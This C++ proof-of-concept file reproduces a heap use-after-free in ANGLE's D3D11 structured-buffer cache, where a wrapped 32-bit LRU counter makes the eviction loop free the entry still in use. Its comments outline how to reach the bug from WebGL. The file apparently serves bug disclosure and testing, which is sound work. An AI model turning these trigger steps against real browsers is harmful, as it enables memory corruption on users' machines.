// algorithmic-proof.cpp
//
// Standalone reproduction of the LRU self-eviction UAF in ANGLE D3D11
// Buffer11::getStructuredBufferRangeSRV.
//
// This file extracts the *exact* eviction algorithm from
// third_party/angle/src/libANGLE/renderer/d3d/d3d11/Buffer11.cpp:904-972
// using the same data structures, the same SafeDelete, and the same
// release-build ASSERT semantics. It demonstrates that after the 32-bit
// LRU counter wraps, std::min_element selects the freshly-touched entry
// and SafeDelete frees it while local stack pointers remain dangling.
//
// Because the real D3D11 backend only compiles and runs on Windows, this
// proof is the closest cross-platform demonstration possible: same
// algorithm, same types, same control flow, same crash class.
//
// Build:   clang++ -std=c++17 -fsanitize=address -O1 -g \
//                  -fno-omit-frame-pointer algorithmic-proof.cpp -o proof
// Run:     ./proof
// Expect:  AddressSanitizer: heap-use-after-free

#include <algorithm>
#include <cstdint>
#include <cstdio>
#include <map>
#include <tuple>

// -----------------------------------------------------------------------------
// Reproduce ANGLE's release-build ASSERT.
// In Chrome release builds, ANGLE_ENABLE_ASSERTS is *off* (angle.gni:132,
// log_utils.h:270), so ASSERT() expands to ANGLE_EAT_STREAM_PARAMETERS — i.e.
// the condition is evaluated but the result is discarded. We model that
// faithfully here: evaluate, discard.
// -----------------------------------------------------------------------------
#define ASSERT(cond) (true ? static_cast<void>(0) : static_cast<void>((cond)))

// -----------------------------------------------------------------------------
// Reproduce ANGLE's SafeDelete (angleutils.h:234-238) verbatim.
// Crucially: this nulls the *passed reference*, NOT any other aliased pointers.
// -----------------------------------------------------------------------------
template <typename T>
void SafeDelete(T *&resource)
{
    delete resource;
    resource = nullptr;
}

// -----------------------------------------------------------------------------
// Minimal stand-in for Buffer11::BufferStorage (Buffer11.cpp:111-158).
// Polymorphic, with the same virtual methods that get dispatched after free.
// -----------------------------------------------------------------------------
struct BufferStorage
{
    explicit BufferStorage(size_t sz) : mBufferSize(sz), mRevision(0) {}
    virtual ~BufferStorage() = default;

    size_t getSize() const { return mBufferSize; }
    void   setDataRevision(uint64_t r) { mRevision = r; }     // Buffer11.cpp:119

    // Pure virtuals dispatched at Buffer11.cpp:1007 and 1021 on the freed
    // pointer via updateBufferStorage().
    virtual bool isCPUAccessible(int access) const            = 0;
    virtual int  copyFromStorage(BufferStorage *src,
                                 size_t off, size_t sz)       = 0;

    size_t   mBufferSize;
    uint64_t mRevision;
};

struct StructuredBufferStorage final : BufferStorage
{
    using BufferStorage::BufferStorage;

    // Buffer11.cpp:1456-1492. The first thing the real implementation does
    // is dereference mRenderer (a member living in the freed allocation).
    int resizeStructuredBuffer(unsigned int newSize)
    {
        // Touch a member of |*this| — this is the freed memory.
        mBufferSize = static_cast<size_t>(newSize);            // <-- UAF write
        return 0;
    }

    bool isCPUAccessible(int) const override { return false; }
    int  copyFromStorage(BufferStorage *, size_t, size_t) override { return 0; }
};

template <typename T, typename U>
T *GetAs(U *p) { return static_cast<T *>(p); }

// -----------------------------------------------------------------------------
// BufferCacheEntry (Buffer11.h:150-156) — reproduced verbatim.
// Note: |storage| is a *plain raw pointer*. ANGLE does not use raw_ptr<T>.
// -----------------------------------------------------------------------------
struct BufferCacheEntry
{
    BufferCacheEntry() : storage(nullptr), lruCount(0) {}
    BufferStorage *storage;
    unsigned int   lruCount;
};

// -----------------------------------------------------------------------------
// StructuredBufferKey (Buffer11.h:158-170) — reproduced verbatim.
// -----------------------------------------------------------------------------
struct StructuredBufferKey
{
    StructuredBufferKey(unsigned int o, unsigned int s)
        : offset(o), structureByteStride(s) {}
    bool operator<(const StructuredBufferKey &rhs) const
    {
        return std::tie(offset, structureByteStride) <
               std::tie(rhs.offset, rhs.structureByteStride);
    }
    unsigned int offset;
    unsigned int structureByteStride;
};

using StructuredBufferCache = std::map<StructuredBufferKey, BufferCacheEntry>;

// -----------------------------------------------------------------------------
// Buffer11 stand-in holding only the state relevant to the eviction path.
// Member types match Buffer11.h:245-248 exactly.
// -----------------------------------------------------------------------------
struct Buffer11
{
    size_t mSize = 4096;                                   // gl.bufferData(..., 4096, ...)
    StructuredBufferCache mStructuredBufferRangeStoragesCache;
    size_t       mStructuredBufferStorageAdditionalSize = 0;
    unsigned int mMaxStructuredBufferLruCount           = 0;   // Buffer11.h:248 — 32-bit!

    size_t getSize() const { return mSize; }

    BufferStorage *allocateStorage(size_t initialSize)
    {
        return new StructuredBufferStorage(initialSize);
    }

    // -------------------------------------------------------------------------
    // Faithful transcription of Buffer11.cpp:904-972.
    // Unrelated bookkeeping (markBufferUsage, updateBufferStorage,
    // garbageCollection, srvOut) is dropped; the eviction logic is *identical*.
    // -------------------------------------------------------------------------
    void getStructuredBufferRangeSRV(unsigned int offset,
                                     unsigned int size,
                                     unsigned int structureByteStride)
    {
        BufferStorage *newStorage;

        {
            // Buffer11.cpp:916-927
            StructuredBufferKey key(offset, structureByteStride);
            BufferCacheEntry *cacheEntry = &mStructuredBufferRangeStoragesCache[key];

            if (!cacheEntry->storage)
            {
                cacheEntry->storage  = allocateStorage(0);
                cacheEntry->lruCount = ++mMaxStructuredBufferLruCount;   // line 922
            }

            cacheEntry->lruCount = ++mMaxStructuredBufferLruCount;       // line 925 — wraps!
            newStorage           = cacheEntry->storage;                  // line 926
        }

        StructuredBufferStorage *structuredBufferStorage =
            GetAs<StructuredBufferStorage>(newStorage);                  // line 929

        // Buffer11.cpp:933 — eviction only when growing.
        if (newStorage->getSize() < static_cast<size_t>(size))
        {
            size_t maximumAllowedAdditionalSize = 2 * getSize();         // line 935
            size_t sizeDelta = static_cast<size_t>(size) - newStorage->getSize();  // 937

            // Buffer11.cpp:939-954 — verbatim.
            while (mStructuredBufferStorageAdditionalSize + sizeDelta > maximumAllowedAdditionalSize)
            {
                auto iter = std::min_element(
                    std::begin(mStructuredBufferRangeStoragesCache),
                    std::end(mStructuredBufferRangeStoragesCache),
                    [](const StructuredBufferCache::value_type &a,
                       const StructuredBufferCache::value_type &b) {
                        return a.second.lruCount < b.second.lruCount;
                    });

                // line 948 — THE BUG. This is the *only* self-eviction guard,
                // and in Chrome release builds it is a no-op.
                ASSERT(iter->second.storage != newStorage);
                ASSERT(mStructuredBufferStorageAdditionalSize >=
                       iter->second.storage->getSize());

                if (iter->second.storage == newStorage) {
                    fprintf(stderr,
                            "[!] SELF-EVICTION: min_element picked the "
                            "freshly-touched entry (offset=%u, lruCount=%u)\n",
                            iter->first.offset, iter->second.lruCount);
                }

                mStructuredBufferStorageAdditionalSize -= iter->second.storage->getSize();
                SafeDelete(iter->second.storage);                        // line 952 — FREES newStorage's object!
                mStructuredBufferRangeStoragesCache.erase(iter);
            }

            // Buffer11.cpp:956 — first dangling-pointer use.
            // structuredBufferStorage was NOT nulled by SafeDelete; it is a
            // separate stack local aliasing the freed allocation.
            structuredBufferStorage->resizeStructuredBuffer(size);       // <-- ASAN: heap-use-after-free
            mStructuredBufferStorageAdditionalSize += sizeDelta;

            // Buffer11.cpp:963 — second dangling-pointer use (write to mRevision).
            newStorage->setDataRevision(0);

            // Buffer11.cpp:967 → 1007/1021 — virtual dispatch through freed vtable.
            // (In the real code, updateBufferStorage calls
            // storage->isCPUAccessible() and storage->copyFromStorage().)
            (void)newStorage->isCPUAccessible(2);
        }
    }
};

// -----------------------------------------------------------------------------
// Driver. Mirrors the WebGL-level reproduction steps from the report.
// -----------------------------------------------------------------------------
int main()
{
    Buffer11 buf;

    // -------------------------------------------------------------------------
    // STEP 1: Populate cache entries at distinct offsets.
    // In the WebGL POC this is done via gl.bindBufferRange + draw with a
    // shader whose uniform block has a vec4[50] member (byteWidth=800,
    // structureByteStride=16).
    //
    // After this loop:
    //   - 10 entries in the cache at offsets {0, 256, 512, ..., 2304}
    //   - each sized 800 bytes
    //   - mStructuredBufferStorageAdditionalSize = 8000  (< 2*4096 = 8192, no eviction yet)
    //   - lruCounts = 2, 4, 6, ..., 20
    //   - mMaxStructuredBufferLruCount = 20
    // -------------------------------------------------------------------------
    constexpr unsigned int kStride        = 16;
    constexpr unsigned int kSmallByteWidth = 800;   // vec4[50]
    constexpr unsigned int kBigByteWidth   = 3200;  // vec4[200]

    for (unsigned int off = 0; off < 2560; off += 256)
    {
        buf.getStructuredBufferRangeSRV(off, kSmallByteWidth, kStride);
        // Account for the resize that just happened.
        // (In the real code mStructuredBufferStorageAdditionalSize is updated
        //  inside the function — we already do that in the transcribed body.)
    }

    fprintf(stderr,
            "[*] Cache primed: %zu entries, additionalSize=%zu, "
            "lruCounter=%u\n",
            buf.mStructuredBufferRangeStoragesCache.size(),
            buf.mStructuredBufferStorageAdditionalSize,
            buf.mMaxStructuredBufferLruCount);

    // -------------------------------------------------------------------------
    // STEP 2: Wrap the 32-bit counter.
    //
    // In the WebGL POC this is ~2^32 calls to bindBufferRange(offset=0) + draw
    // (amplified by binding many large-array uniform blocks to the same
    // buffer/offset so each draw issues many increments). At ~24 inc/draw
    // and ~100k draws/sec → ~30 minutes. Here we model the *result* of that
    // loop directly: the counter sits just below the wraparound boundary.
    //
    // The lruCounts of entries at offsets 256..2304 remain at their original
    // values (4, 6, ..., 20) because we only ever touch offset=0 during this
    // phase. The entry at offset=0 has its lruCount continually overwritten.
    // -------------------------------------------------------------------------
    buf.mMaxStructuredBufferLruCount = 0xFFFFFFFFu;  // next increment wraps to 0

    fprintf(stderr,
            "[*] Counter advanced to wraparound boundary "
            "(mMaxStructuredBufferLruCount = 0x%08X)\n",
            buf.mMaxStructuredBufferLruCount);

    // -------------------------------------------------------------------------
    // STEP 3: Trigger.
    //
    // Switch to the larger uniform block (vec4[200], byteWidth=3200), still at
    // offset 0. Inside getStructuredBufferRangeSRV:
    //
    //   - line 925: cacheEntry->lruCount = ++counter  →  0xFFFFFFFF + 1 = 0
    //     The entry at (offset=0, stride=16) now has lruCount = 0.
    //     All other entries still have lruCount ∈ {4, 6, ..., 20}.
    //
    //   - line 933: 800 < 3200  →  resize needed
    //
    //   - line 939: 8000 + (3200-800) = 10400 > 8192  →  evict
    //
    //   - line 941: min_element picks the entry with the SMALLEST lruCount.
    //               That is offset=0 with lruCount=0.  ← SELF
    //
    //   - line 948: ASSERT(... != newStorage)  →  no-op in release
    //
    //   - line 952: SafeDelete frees the object that newStorage points to.
    //
    //   - line 956: structuredBufferStorage->resizeStructuredBuffer(...)
    //               → write to freed memory.  ← ASAN fires here.
    // -------------------------------------------------------------------------
    fprintf(stderr,
            "[*] Triggering eviction with size=%u at offset=0...\n",
            kBigByteWidth);

    buf.getStructuredBufferRangeSRV(0, kBigByteWidth, kStride);

    fprintf(stderr,
            "[-] No crash — bug not reproduced (this should not print)\n");
    return 0;
}